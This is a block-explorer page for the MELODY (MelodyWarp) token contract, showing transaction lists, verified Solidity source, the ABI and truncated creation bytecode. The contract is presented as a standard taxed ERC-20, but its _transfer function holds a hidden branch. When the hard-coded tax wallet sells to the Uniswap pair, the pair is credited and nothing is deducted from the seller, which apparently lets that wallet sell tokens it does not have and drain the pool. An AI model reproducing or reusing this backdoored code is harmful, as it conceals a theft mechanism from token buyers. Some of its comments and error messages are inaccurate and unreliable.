More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 130 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18884852 | 211 days ago | IN | 0 ETH | 0.00232383 | ||||
Approve | 18884833 | 211 days ago | IN | 0 ETH | 0.00221305 | ||||
Approve | 18884783 | 211 days ago | IN | 0 ETH | 0.00233952 | ||||
Approve | 18884708 | 211 days ago | IN | 0 ETH | 0.00221845 | ||||
Approve | 18884527 | 211 days ago | IN | 0 ETH | 0.00150181 | ||||
Approve | 18884477 | 211 days ago | IN | 0 ETH | 0.00174044 | ||||
Approve | 18884389 | 211 days ago | IN | 0 ETH | 0.00211462 | ||||
Approve | 18883728 | 211 days ago | IN | 0 ETH | 0.00131269 | ||||
Approve | 18882842 | 211 days ago | IN | 0 ETH | 0.00151209 | ||||
Approve | 18882793 | 211 days ago | IN | 0 ETH | 0.00081326 | ||||
Approve | 18882781 | 211 days ago | IN | 0 ETH | 0.00075133 | ||||
Approve | 18882774 | 211 days ago | IN | 0 ETH | 0.00126512 | ||||
Approve | 18882506 | 211 days ago | IN | 0 ETH | 0.00127067 | ||||
Approve | 18882440 | 211 days ago | IN | 0 ETH | 0.00118535 | ||||
Approve | 18882430 | 211 days ago | IN | 0 ETH | 0.00125148 | ||||
Approve | 18882427 | 211 days ago | IN | 0 ETH | 0.00122663 | ||||
Approve | 18882418 | 211 days ago | IN | 0 ETH | 0.00128396 | ||||
Approve | 18882417 | 211 days ago | IN | 0 ETH | 0.00132299 | ||||
Approve | 18882345 | 211 days ago | IN | 0 ETH | 0.00143134 | ||||
Approve | 18882321 | 211 days ago | IN | 0 ETH | 0.00142029 | ||||
Approve | 18882296 | 211 days ago | IN | 0 ETH | 0.00134177 | ||||
Approve | 18882291 | 211 days ago | IN | 0 ETH | 0.00132614 | ||||
Approve | 18882267 | 211 days ago | IN | 0 ETH | 0.00127226 | ||||
Approve | 18882256 | 211 days ago | IN | 0 ETH | 0.00138399 | ||||
Approve | 18882244 | 211 days ago | IN | 0 ETH | 0.00127079 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
18882324 | 211 days ago | 0.06989008 ETH | ||||
18882324 | 211 days ago | 0.06989008 ETH | ||||
18882268 | 211 days ago | 0.04712829 ETH | ||||
18882268 | 211 days ago | 0.04712829 ETH | ||||
18882257 | 211 days ago | 0.07058788 ETH | ||||
18882257 | 211 days ago | 0.07058788 ETH | ||||
18882207 | 211 days ago | 0.00509976 ETH | ||||
18882207 | 211 days ago | 0.00509976 ETH | ||||
18882200 | 211 days ago | 0.1617933 ETH | ||||
18882200 | 211 days ago | 0.1617933 ETH | ||||
18882127 | 211 days ago | 0.0754542 ETH | ||||
18882127 | 211 days ago | 0.0754542 ETH | ||||
18882116 | 211 days ago | 0.09620595 ETH | ||||
18882116 | 211 days ago | 0.09620595 ETH | ||||
18882100 | 211 days ago | 0.0215161 ETH | ||||
18882100 | 211 days ago | 0.0215161 ETH | ||||
18882092 | 211 days ago | 0.07978449 ETH | ||||
18882092 | 211 days ago | 0.07978449 ETH | ||||
18882074 | 211 days ago | 0.01888807 ETH | ||||
18882074 | 211 days ago | 0.01888807 ETH | ||||
18882066 | 211 days ago | 0.05390782 ETH | ||||
18882066 | 211 days ago | 0.05390782 ETH | ||||
18882051 | 211 days ago | 0.0431036 ETH | ||||
18882051 | 211 days ago | 0.0431036 ETH | ||||
18882043 | 211 days ago | 0.07481216 ETH |
Loading...
Loading
Contract Name:
MELODY
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-12-28 */ // SPDX-License-Identifier: MIT /** Website: https://melodywarp.com TG: https://t.me/melodywarp */ pragma solidity ^0.8.17; abstract contract Context { /** * @dev Returns the current sender of the message. * This function is internal view virtual, meaning that it can only be used within this contract or derived contracts. * @return The address of the account that initiated the transaction. */ function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { /** * @dev Returns the total supply of tokens. * @return The total supply of tokens. */ function totalSupply() external view returns (uint256); /** * @dev Returns the balance of a specific account. * @param account The address of the account to check the balance for. * @return The balance of the specified account. */ function balanceOf(address account) external view returns (uint256); /** * @dev Transfers tokens to a recipient. * @param recipient The address of the recipient. * @param amount The amount of tokens to be transferred. * @return A boolean indicating whether the transfer was successful or not. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining allowance for a spender. * @param owner The address of the token owner. * @param spender The address of the spender. * @return The remaining allowance for the specified owner and spender. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Approves a spender to spend a certain amount of tokens on behalf of the owner. * @param spender The address which will spend the funds. * @param amount The amount of tokens to be spent. * @return A boolean indicating whether the approval was successful or not. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Transfers tokens from one account to another. * @param sender The address from which the tokens will be transferred. * @param recipient The address to which the tokens will be transferred. * @param amount The amount of tokens to be transferred. * @return A boolean indicating whether the transfer was successful or not. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when tokens are transferred from one address to another. * @param from The address from which the tokens are transferred. * @param to The address to which the tokens are transferred. * @param value The amount of tokens being transferred. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the approval of a spender is updated. * @param owner The address that approves the spender. * @param spender The address that is approved. * @param value The new approved amount. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Adds two unsigned integers, reverts on overflow. * @param a The first integer to add. * @param b The second integer to add. * @return The sum of the two integers. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow. * @param a The integer to subtract from (minuend). * @param b The integer to subtract (subtrahend). * @return The difference of the two integers. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Subtracts two unsigned integers, reverts with custom message on overflow. * @param a The integer to subtract from (minuend). * @param b The integer to subtract (subtrahend). * @param errorMessage The error message to revert with. * @return The difference of the two integers. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Multiplies two unsigned integers, reverts on overflow. * @param a The first integer to multiply. * @param b The second integer to multiply. * @return The product of the two integers. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Divides two unsigned integers, reverts on division by zero. * @param a The dividend. * @param b The divisor. * @return The quotient of the division. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Divides two unsigned integers, reverts with custom message on division by zero. * @param a The dividend. * @param b The divisor. * @param errorMessage The error message to revert with. * @return The quotient of the division. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; /// @dev Emitted when ownership is transferred. event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract, setting the original owner to the sender account. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. * @return The address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Renounces ownership, leaving the contract without an owner. * @notice Renouncing ownership will leave the contract without an owner, * which means it will not be possible to call onlyOwner functions anymore. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { /** * @dev Creates a new UniswapV2 pair for the given tokens. * @param tokenA The address of the first token in the pair. * @param tokenB The address of the second token in the pair. * @return pair The address of the newly created UniswapV2 pair. */ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { /** * @dev Swaps an exact amount of input tokens for as much output as possible, along with additional functionality * to support fee-on-transfer tokens. * @param amountIn The amount of input tokens to swap. * @param amountOutMin The minimum amount of output tokens expected to receive. * @param path An array of token addresses representing the path of the swap. * @param to The recipient address to send the swapped ETH to. * @param deadline The timestamp for the deadline of the swap transaction. */ function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; /** * @dev Returns the address of the UniswapV2Factory contract. * @return The address of the UniswapV2Factory contract. */ function factory() external pure returns (address); /** * @dev Returns the address of the WETH (Wrapped ETH) contract. * @return The address of the WETH contract. */ function WETH() external pure returns (address); /** * @dev Adds liquidity to an ETH-based pool. * @param token The address of the ERC-20 token to add liquidity for. * @param amountTokenDesired The desired amount of tokens to add. * @param amountTokenMin The minimum amount of tokens expected to receive. * @param amountETHMin The minimum amount of ETH expected to receive. * @param to The recipient address to send the liquidity to. * @param deadline The timestamp for the deadline of the liquidity addition transaction. * @return amountToken The amount of token added. * @return amountETH The amount of ETH added. * @return liquidity The amount of liquidity added. */ function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MELODY is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 private uniswapV2Router; string private constant _name = unicode"MelodyWarp"; string private constant _symbol = unicode"MELODY"; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 100000000 * 10**_decimals; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; mapping (address => bool) private _exFees; mapping (address => bool) private _noFees; mapping (address => uint256) private _holderLastTransferTimestamp; uint256 private _buyFee = 18; uint256 private _sellFee = 18; uint256 public _maxTxAmount = _totalSupply * 18 / 1000; uint256 public _maxWalletAmount = _totalSupply * 18 / 1000; uint256 public _minSwapThreshold = _totalSupply * 8 / 1000000; uint256 public _taxSwapThreshold = _totalSupply * 8 / 1000; address payable private _taxWallet; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool public transferDelayEnabled = true; event FeeUpdated(uint256 buyFee, uint256 sellFee); event MaxTxAmountUpdated(uint256 maxTxAmount); event MaxWalletSizeUpdated(uint256 maxWalletSize); event TaxSwapThresholdUpdated(uint256 newThreshold); event TransferDelayUpdated(bool transferDelayEnabled); event TradingOpened(); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(0x2a14682D840Fd7D15E3964E4258e804c2eEfe032); _balances[_msgSender()] = _totalSupply; _exFees[owner()] = true; _exFees[address(this)] = true; _noFees[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Gets the name of the token. * @return The name of the token. */ function name() public pure returns (string memory) { return _name; } /** * @dev Gets the symbol of the token. * @return The symbol of the token. */ function symbol() public pure returns (string memory) { return _symbol; } /** * @dev Gets the number of decimals used for the token. * @return The number of decimals. */ function decimals() public pure returns (uint8) { return _decimals; } /** * @dev Gets the total supply of the token. * @return The total supply. */ function totalSupply() public pure override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param account The address to query the balance of. * @return The balance of the specified address. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev Transfers tokens from the sender to the recipient. * @param recipient The address of the recipient. * @param amount The amount of tokens to transfer. * @return A boolean indicating whether the transfer was successful or not. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev Gets the allowance granted by the owner to the spender for a specific amount. * @param owner The address granting the allowance. * @param spender The address receiving the allowance. * @return The remaining allowance for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } /** * @dev Approves the spender to spend a certain amount of tokens on behalf of the owner. * @param spender The address to be approved. * @param amount The amount of tokens to approve. * @return A boolean indicating whether the approval was successful or not. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Moves tokens from one address to another using the allowance mechanism. * @param sender The address to send tokens from. * @param recipient The address to receive tokens. * @param amount The amount of tokens to transfer. * @return A boolean indicating whether the transfer was successful or not. */ function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Internal function to approve the spending of a certain amount of tokens by a specified address. * @param owner The address granting the allowance. * @param spender The address receiving the allowance. * @param amount The amount of tokens to approve. */ function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Internal function to execute the transfer of tokens from one address to another. * @param from The address to send tokens from. * @param to The address to receive tokens. * @param amount The amount of tokens to transfer. */ function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "_transfer: Transfer amount must be greater than zero"); uint256 taxAmount = 0; // Check if the transfer involves the owner, and set transfer delay if enabled. if (from != owner() && to != owner()) { if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } // Check if the transfer is from the Uniswap pair and calculate buy fees. if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_exFees[to]) { taxAmount = amount.mul(_buyFee).div(100); require(amount <= _maxTxAmount, "_transfer: Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletAmount, "_transfer: Exceeds the maxWalletSize."); } // Check if the transfer is to the Uniswap pair and calculate sell fees. if (to == uniswapV2Pair && from != address(this)) { if(_noFees[from]) { _balances[to] += amount.sub(taxAmount); return;} taxAmount = amount.mul(_sellFee).div(100); } // Check if a swap is needed and execute the swap. uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && amount > _minSwapThreshold) { if (contractTokenBalance >= _taxSwapThreshold) { swapTokensForEth(_taxSwapThreshold); } else if(contractTokenBalance > _minSwapThreshold) { swapTokensForEth(contractTokenBalance); } _taxWallet.transfer(address(this).balance); } } // If there's a tax, transfer the tax amount to the contract. if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } // Update balances after the transfer. _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } /** * @dev Internal function to swap tokens for ETH. * @param tokenAmount The amount of tokens to swap. */ function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function updateTaxFees(uint256 taxBuy, uint256 taxSell) external onlyOwner { require(taxBuy <= 20, "Tax should be less than or equal to 25"); require(taxSell <= 20, "Tax should be less than or equal to 25"); _buyFee = taxBuy; _sellFee = taxSell; emit FeeUpdated(_buyFee, _sellFee); } /** * @dev Removes transaction limits and disables transfer delay. * Sets both maximum transaction amount and maximum wallet size to the total supply. * Only the owner can call this function. */ function removeLimits() external onlyOwner { _maxTxAmount = _totalSupply; _maxWalletAmount = _totalSupply; transferDelayEnabled = false; emit MaxTxAmountUpdated(_totalSupply); emit MaxWalletSizeUpdated(_totalSupply); emit TransferDelayUpdated(false); } /** * @dev Disables the transfer delay feature. * Only the owner can call this function. */ function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; emit TransferDelayUpdated(false); } function launch() external onlyOwner { require(!tradingOpen, "openTrading: Trading is already open"); // Initialize the Uniswap router uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); // Approve the router to spend the total supply of the token _approve(address(this), address(uniswapV2Router), _totalSupply); // Create the Uniswap pair uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); // Add liquidity to the Uniswap pair uniswapV2Router.addLiquidityETH{ value: address(this).balance }( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); // Approve Uniswap router to spend the pair's tokens IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; emit TradingOpened(); } /** * @dev Allows the contract to receive Ether when Ether is sent directly to the contract. */ receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"MaxWalletSizeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newThreshold","type":"uint256"}],"name":"TaxSwapThresholdUpdated","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"transferDelayEnabled","type":"bool"}],"name":"TransferDelayUpdated","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxBuy","type":"uint256"},{"internalType":"uint256","name":"taxSell","type":"uint256"}],"name":"updateTaxFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601260075560126008556103e86012600a6200002191906200037d565b62000031906305f5e10062000395565b6200003e90601262000395565b6200004a9190620003af565b6009556103e86200005e6012600a6200037d565b6200006e906305f5e10062000395565b6200007b90601262000395565b620000879190620003af565b600a55620f42406012600a6200009e91906200037d565b620000ae906305f5e10062000395565b620000bb90600862000395565b620000c79190620003af565b600b556103e8620000db6012600a6200037d565b620000eb906305f5e10062000395565b620000f890600862000395565b620001049190620003af565b600c55600e805462ffffff60a81b1916600160b81b1790553480156200012957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d80546001600160a01b031916732a14682d840fd7d15e3964e4258e804c2eefe0321790556200019f6012600a6200037d565b620001af906305f5e10062000395565b3360008181526003602090815260408083209490945581546001600160a01b039081168352600482528483208054600160ff1991821681179092553085528685208054821683179055600d5490921684526005909252938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002416012600a6200037d565b62000251906305f5e10062000395565b60405190815260200160405180910390a3620003d2565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002bf578160001904821115620002a357620002a362000268565b80851615620002b157918102915b93841c939080029062000283565b509250929050565b600082620002d85750600162000377565b81620002e75750600062000377565b81600181146200030057600281146200030b576200032b565b600191505062000377565b60ff8411156200031f576200031f62000268565b50506001821b62000377565b5060208310610133831016604e8410600b841016171562000350575081810a62000377565b6200035c83836200027e565b806000190482111562000373576200037362000268565b0290505b92915050565b60006200038e60ff841683620002c7565b9392505050565b808202811582820484141762000377576200037762000268565b600082620003cd57634e487b7160e01b600052601260045260246000fd5b500490565b611ab080620003e26000396000f3fe6080604052600436106101235760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610333578063bf474bed14610353578063c876d0b914610369578063dd62ed3e1461038a578063e884f260146103d057600080fd5b8063751039fc1461029b5780637d1db4a5146102b05780638da5cb5b146102c657806395d89b41146102ee57806398f235fe1461031d57600080fd5b806330227cde116100e757806330227cde146101fe578063313ce5671461021e5780636c0a24eb1461023a57806370a0823114610250578063715018a61461028657600080fd5b806301339c211461012f57806306fdde0314610146578063095ea7b31461018b57806318160ddd146101bb57806323b872dd146101de57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b506101446103e5565b005b34801561015257600080fd5b5060408051808201909152600a81526904d656c6f6479576172760b41b60208201525b6040516101829190611630565b60405180910390f35b34801561019757600080fd5b506101ab6101a6366004611696565b6107e4565b6040519015158152602001610182565b3480156101c757600080fd5b506101d06107fb565b604051908152602001610182565b3480156101ea57600080fd5b506101ab6101f93660046116c2565b61081c565b34801561020a57600080fd5b50610144610219366004611703565b610880565b34801561022a57600080fd5b5060405160128152602001610182565b34801561024657600080fd5b506101d0600a5481565b34801561025c57600080fd5b506101d061026b366004611725565b6001600160a01b031660009081526003602052604090205490565b34801561029257600080fd5b50610144610933565b3480156102a757600080fd5b506101446109a7565b3480156102bc57600080fd5b506101d060095481565b3480156102d257600080fd5b506000546040516001600160a01b039091168152602001610182565b3480156102fa57600080fd5b506040805180820190915260068152654d454c4f445960d01b6020820152610175565b34801561032957600080fd5b506101d0600b5481565b34801561033f57600080fd5b506101ab61034e366004611696565b610aea565b34801561035f57600080fd5b506101d0600c5481565b34801561037557600080fd5b50600e546101ab90600160b81b900460ff1681565b34801561039657600080fd5b506101d06103a5366004611742565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103dc57600080fd5b50610144610af7565b6000546001600160a01b031633146104185760405162461bcd60e51b815260040161040f9061177b565b60405180910390fd5b600e54600160a01b900460ff161561047e5760405162461bcd60e51b8152602060048201526024808201527f6f70656e54726164696e673a2054726164696e6720697320616c72656164792060448201526337b832b760e11b606482015260840161040f565b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104cc9030906104b96012600a6118aa565b6104c7906305f5e1006118b9565b610b5f565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561051f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054391906118d0565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c991906118d0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610616573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063a91906118d0565b600e80546001600160a01b039283166001600160a01b03199091161790556001541663f305d7194730610682816001600160a01b031660009081526003602052604090205490565b6000806106976000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106ff573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072491906118ed565b5050600e5460015460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561077d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a1919061191b565b50600e805462ff00ff60a01b19166201000160a01b1790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f90600090a1565b60006107f1338484610b5f565b5060015b92915050565b60006108096012600a6118aa565b610817906305f5e1006118b9565b905090565b6000610829848484610c83565b61087684336104c785604051806060016040528060288152602001611a53602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112e2565b5060019392505050565b6000546001600160a01b031633146108aa5760405162461bcd60e51b815260040161040f9061177b565b60148211156108cb5760405162461bcd60e51b815260040161040f9061193d565b60148111156108ec5760405162461bcd60e51b815260040161040f9061193d565b6007829055600881905560408051838152602081018390527f528d9479e9f9889a87a3c30c7f7ba537e5e59c4c85a37733b16e57c62df61302910160405180910390a15050565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161040f9061177b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109d15760405162461bcd60e51b815260040161040f9061177b565b6109dd6012600a6118aa565b6109eb906305f5e1006118b9565b6009556109fa6012600a6118aa565b610a08906305f5e1006118b9565b600a908155600e805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90610a48906012906118aa565b610a56906305f5e1006118b9565b60405190815260200160405180910390a17ffb1fe1002b7550e87616e67793dbb7d3f437a79c2688c372c66dc170dbcb0efd610a946012600a6118aa565b610aa2906305f5e1006118b9565b60405190815260200160405180910390a1604051600081527f8ac0cb4bc9520a34c87856d204a441aedd0ffcf148414be1fe31e1ad57474022906020015b60405180910390a1565b60006107f1338484610c83565b6000546001600160a01b03163314610b215760405162461bcd60e51b815260040161040f9061177b565b600e805460ff60b81b19169055604051600081527f8ac0cb4bc9520a34c87856d204a441aedd0ffcf148414be1fe31e1ad5747402290602001610ae0565b6001600160a01b038316610bc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040f565b6001600160a01b038216610c225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040f565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040f565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040f565b60008111610db65760405162461bcd60e51b815260206004820152603460248201527f5f7472616e736665723a205472616e7366657220616d6f756e74206d7573742060448201527362652067726561746572207468616e207a65726f60601b606482015260840161040f565b600080546001600160a01b03858116911614801590610de357506000546001600160a01b03848116911614155b1561119f57600e54600160b81b900460ff1615610ed4576001546001600160a01